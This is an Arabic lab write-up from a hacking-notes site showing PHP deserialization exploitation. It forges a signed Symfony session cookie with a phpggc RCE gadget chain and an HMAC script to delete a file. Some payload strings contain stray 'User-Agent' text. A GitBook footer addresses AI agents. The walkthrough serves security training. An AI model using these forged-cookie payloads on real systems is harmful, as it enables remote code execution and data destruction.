> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/deserialization/php-deserialization-with-prebuilt-gadget-chain.md).

# إلغاء تسلسل PHP باستخدام سلسلة أدوات مُسبقة البناء

### استغلال إلغاء تسلسل PHP باستخدام سلسلة أدوات جاهزة مسبقًا

يستخدم هذا المختبر آلية جلسة تعتمد على تسلسل PHP باستخدام توقيع **ملف تعريف الارتباط**. / يعتمد التطبيق على إصدار PHP الحالي **إطار عمل**, دون الوصول إلى الشفرة المصدرية. / رغم ذلك، يمكن استغلال إلغاء التسلسل غير الآمن عبر **سلاسل الأدوات**.

الهدف:/ حذف `/home/carlos/morale.txt` الملف.

المعرّف المزوَّد:

* **wiener : peter**

**تحليل ملف تعريف الارتباط الخاص بالجلسة**

ملف تعريف الارتباط المعترض (مُرمَّز بعنوان URL):

{% code overflow="wrap" %}

```bash
%7B%22token%22%3A%22Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJ2a3YyOHF3MTFhN2E3N2pyMDRsNjdsYXNrcmk2NWZxeiI7fQ%3D%3D%22%2C%22sig_hmac_sha1%22%3A%22631dc8aa9b149a7b6b64adfcddb5e3506eabf735%22%7D
```

{% endcode %}

بعد فك الترميز:

{% code overflow="wrap" %}

```json
{"token":"Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJ2a3YyOHF3MTFhN2E3N2pyMDRsNjdsYXNrcmk2NWZxeiI7fQ==","sig_hmac_sha1":"631dc8aa9b149a7b6b64adfcddb5e3506eabf735"}
```

{% endcode %}

يحتوي ملف تعريف الارتباط على:

* `رمز` → كائن PHP مُسلسل ومُرمَّز بـ Base64
* `sig_hmac_sha1` → توقيع HMAC-SHA1 للرمز

`رمز` فك الترميز:

{% code overflow="wrap" %}

```json
O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"vkv28qw11a7a77jr04l67laskri65fqz";}
```

{% endcode %}

**تحديد البيئة**

من `phpinfo()`:

* **PHP 7.4**

<figure><img src="/files/0d67c6a1f693c06c25de6a5328f0b3fa989595d1" alt="" width="563"><figcaption></figcaption></figure>

**المفتاح السري** المعروض:

<figure><img src="/files/5843f4a2be7e5224f0a61c10a77ef8c054f60474" alt="" width="563"><figcaption></figcaption></figure>

**المفتاح السري** : ara511gik1dqity8135f7o7zu7k3yx2j

**إطار عمل Symfony 4.3.6**

<figure><img src="/files/156f8eb4fef2e69eb238faeaa7844adfba809ddf" alt=""><figcaption></figcaption></figure>

**اختيار سلسلة الأدوات**

قائمة الأدوات المتاحة مع `phpggc`:

```bash
./phpggc -l
```

يسمح Symfony 4 باستخدام القنوات **RCE**. / السلسلة المختارة:

```
Symfony/RCE4
```

<figure><img src="/files/3e1aa7b15fa731a66820b110e52527f647d7212c" alt=""><figcaption></figcaption></figure>

**إنشاء الكائن الخبيث**

الأمر المستخدم:

```bash
./phpggc Symfony/RCE4 exec 'rm /home/carlos/morale.txt'
```

كائن PHP مُسلسل تم إنشاؤه:

{% code overflow="wrap" %}

```json
O:47:"Symfony/Component/Cache/Adapter/TagAwareAdapter":2:{s:57:"Symfony/Component/Cache/Adapter/TagAwareAdapterdeferred";a:1:{i:0;O:33:"Symfony/Component/Cache/CacheItem":2:{s:11:"*poolHash";i:1;s:12:"*innerItem";s:26:"rm /home/carlos/morale.txt";}}s:53:"Symfony/Component/Cache/Adapter/TagAwareAdapterpool";O:44:"Symfony/Component/Cache/Adapter/ProxyAdapter":2:{s:54:"Symfony/Component/Cache/Adapter/ProxyAdapterpoolHash";i:1;s:58:"Symfony/Component/Cache/Adapter/ProxyAdaptersetInnerItem";s:4:"exec";}}
```

{% endcode %}

ترميز Base64 :

{% code overflow="wrap" %}

```bash
Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7YToxOntpOjA7TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVtIjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO319czo1MzoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcVGFnQXdhcmVBZGFwdGVyAHBvb2wiO086NDQ6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyIjoyOntzOjU0OiIUser-Agent3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAcG9vbEhhc2giO2k6MTtzOjU4OiIUser-Agent3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAc2V0SW5uZXJJdGVtIjtzOjQ6ImV4ZWMiO319Cg==
```

{% endcode %}

**حساب توقيع HMAC-SHA1**

السكربت Python المستخدم:

```python
import hmac, hashlib

secret = b"ara511gik1dqity8135f7o7zu7k3yx2j"

token = "Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7YT
oxOntpOjA7TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVtIjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO319c
zo1MzoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcVGFnQXdhcmVBZGFwdGVyAHBvb2wiO086NDQ6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyIjoyOntzOjU0OiIUser-Agent3ltZm9ueVxD
b21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAcG9vbEhhc2giO2k6MTtzOjU4OiIUser-Agent3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAc2V0SW5uZXJJdGVtIjtzOjQ6ImV4ZWMiO319Cg=
="

print(hmac.new(secret, token.encode(), hashlib.sha1).hexdigest())
```

<figure><img src="/files/bc9e28b7ed459324a5cb671a79c4a72654f4c0f7" alt=""><figcaption></figcaption></figure>

التوقيع الذي تم الحصول عليه:

```
5270b838edbe7aec15da10cab298ac841d088c90
```

**إنشاء ملف تعريف الارتباط النهائي**

JSON ملف تعريف الارتباط:

{% code overflow="wrap" %}

```json
{"token":"Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7YToxOntpOjA7TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVtIjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO319czo1MzoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcVGFnQXdhcmVBZGFwdGVyAHBvb2wiO086NDQ6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyIjoyOntzOjU0OiIUser-Agent3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAcG9vbEhhc2giO2k6MTtzOjU4OiIUser-Agent3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAc2V0SW5uZXJJdGVtIjtzOjQ6ImV4ZWMiO319Cg==","sig_hmac_sha1":"5270b838edbe7aec15da10cab298ac841d088c90"}
```

{% endcode %}

بعد ترميز URL، يتم حقن ملف تعريف الارتباط في طلب HTTP.

```bash
{"token"%3a"Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7YToxOntpOjA7TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVtIjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO319czo1MzoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcVGFnQXdhcmVBZGFwdGVyAHBvb2wiO086NDQ6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyIjoyOntzOjU0OiIUser-Agent3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAcG9vbEhhc2giO2k6MTtzOjU4OiIUser-Agent3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAc2V0SW5uZXJJdGVtIjtzOjQ6ImV4ZWMiO319Cg%3d%3d","sig_hmac_sha1"%3a"5270b838edbe7aec15da10cab298ac841d088c90"}
```

**النتيجة**

يقبل التطبيق ملف تعريف الارتباط الموقّع/ يتم تنفيذ سلسلة الأدوات Symfony/ الـ `/home/carlos/morale.txt` يتم حذف الملف


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/deserialization/php-deserialization-with-prebuilt-gadget-chain.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.